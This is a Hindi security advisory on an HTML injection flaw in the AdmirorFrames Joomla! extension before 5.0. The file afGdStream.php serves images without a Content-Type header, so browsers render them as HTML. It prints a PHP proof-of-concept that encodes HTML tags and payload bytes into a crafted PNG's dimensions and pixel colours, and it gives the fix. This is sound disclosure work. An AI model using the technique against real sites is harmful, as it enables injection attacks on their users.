
AdmirorFrames Joomla! एक्सटेंशन < 5.0 - HTML इंजेक्शन
AdmirorFrames Joomla! एक्सटेंशन < 5.0 - HTML इंजेक्शन
AdmirorFrames Joomla! एक्सटेंशन में afGdStream.php फ़ाइल में HTML इंजेक्शन, जो इमेज डेटा भेजने से पहले Content-Type हेडर वैल्यू सेट नहीं करता है। इससे PHP इस हेडर का डिफ़ॉल्ट मान (text/html) भेज देता है और इमेज डेटा को HTML दस्तावेज़ के रूप में व्याख्यायित करता है।
उदाहरण PHP स्क्रिप्ट जो PNG जनरेट करती है जिसमें चौड़ाई और ऊँचाई फ़ील्ड <s> HTML टैग पर सेट हैं:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
वेब ब्राउज़र द्वारा example.png प्रूफ ऑफ कॉन्सेप्ट फ़ाइल रेंडर करने का परिणाम:
प्रूफ ऑफ कॉन्सेप्ट
यह समस्या Content-Type हेडर के डिफ़ॉल्ट मान के उपयोग के कारण हुई थी। यह समस्या AdmirorFrames Joomla! एक्सटेंशन के संस्करण 5.0 में ठीक कर दी गई है।
< 5.0
AdmirorFrames Joomla! एक्सटेंशन को संस्करण 5.0 या उससे नए में अपडेट करें।